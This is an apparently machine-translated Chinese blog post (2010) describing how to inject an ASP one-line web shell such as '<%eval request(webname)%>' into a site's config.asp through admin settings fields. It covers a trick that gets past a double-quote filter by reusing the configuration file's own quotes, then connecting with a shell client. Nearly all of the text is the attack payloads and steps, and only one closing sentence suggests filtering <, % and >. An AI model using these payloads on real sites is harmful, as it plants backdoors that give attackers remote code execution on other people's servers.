一般而言,后台管理插一句话,假如数据库查询后缀名是asp得话,那麼插数据库查询,可是如果有配置文件能够插得话,那肯定是插入配置文件了,可是插入配置文件有一个非常大的风险性,那便是一旦失败那麼满盘皆输,有可能不仅导致后台管理无法登陆,乃至有可能是全部网址崩溃,因此 插入配置文件,请谨慎从事。

话归主题,假如想插入配置文件,一般是config.asp,那麼最先必须掌握这一文档的一般状况。

网址的配备一般是储存网站名称,详细地址,email这类的,即然是标识符,那麼格式理应是
webname=“test website”

针对那样的配备插入一句话得话,大家的机遇便是更换test website,那麼必须合闭两个",另外要插入一句话,句子能够那样

"%><%eval request("d"%><%s="

那麼在config.asp中便是

webname=“    "%><%eval request("d"%><%s="          ”


第一个"是合闭前边的配置文件中的",%>便是合闭前一段脚本制作,以后插入一句话<%eval request("d"%>,如今要合闭原先的"和%>

因此 添加<%s=",这儿尤其要留意“s=”,要是没有这一等于号得话,那麼便会成<%" ",那样终将失败。

好啦,它是基本的方法,如今大家返回刚开始哪个难题,依照前边的方式插入
浅说双引号被过滤时一句话的插入与防范 双引号 被过滤 脚本攻防  第1张

插入后,大家再点一下“网址设定” ,出現不正确

浅说双引号被过滤时一句话的插入与防范 双引号 被过滤 脚本攻防  第2张

从这一不正确,我们可以获得两个信息内容。

第一,配置文件的途径:http://www.target.com/zfbm/zfb/inc/config.asp

第二,网站名称的自变量为webname。


昨日因为很晚了,就没继续看,今日公出,夜里回家不久上Q,水果刀刀就q我,说拿到了,并说这一后台管理过虑了双引号",融合昨日的不正确一看果真是,因为大家合闭前边双引号起"的哪个双引号收"被过虑成单引号',因此 就变成webname=" ',那样的话那麼这一双引号沒有合闭,因为双引号是vbscript的控制符,沒有合闭config.asp运作必定失败。那麼大家碰到这类双引号被过虑了的状况改怎么办呢。

因为插入一句话务必要用双引号括起來,而键入双引号又被过虑,因此 我们可以运用她们本身的双引号来处理。

在配置文件中,大家还能够见到那样一些设定


浅说双引号被过滤时一句话的插入与防范 双引号 被过滤 脚本攻防  第3张

便是配备网址的公示数 ,文章内容等数。能够假定一下,他必定是整数金额取值,沒有双引号包含
num=5
num是整数型,要不然就成标识符了num="5"

那麼大家的一句话就可以那样搭建,如图所示

浅说双引号被过滤时一句话的插入与防范 双引号 被过滤 脚本攻防  第4张

在公示数中大家插入5%><%eval request(webname)%><%

务必要有5,要不然可能失败,在网站名称中大家插入"open"

因为大家沒有键入双引号,不会有过虑,大家运用 配置文件自身的双引号来做到目地。那麼配置文件如今的內容以下
<%
....................
webname="open"
num=5%><%eval request(webname)%><%
webnum=7
.......
%>

大家的一句话就相对为
eval request("open"),open为登陆密码

用水果刀取得成功联接
浅说双引号被过滤时一句话的插入与防范 双引号 被过滤 脚本攻防  第5张

从上由此可见,大家取得成功运用配置文件自身绕开了一句话中双引号被过虑的难题。

那麼在网页制作层面,我们可以提升过虑<,%,>或是组成<%,%>这种特殊字符,严禁这种标记的键入,那麼将大大增加网页页面安全性。

by daokers  2010.4.28深更半夜于Canton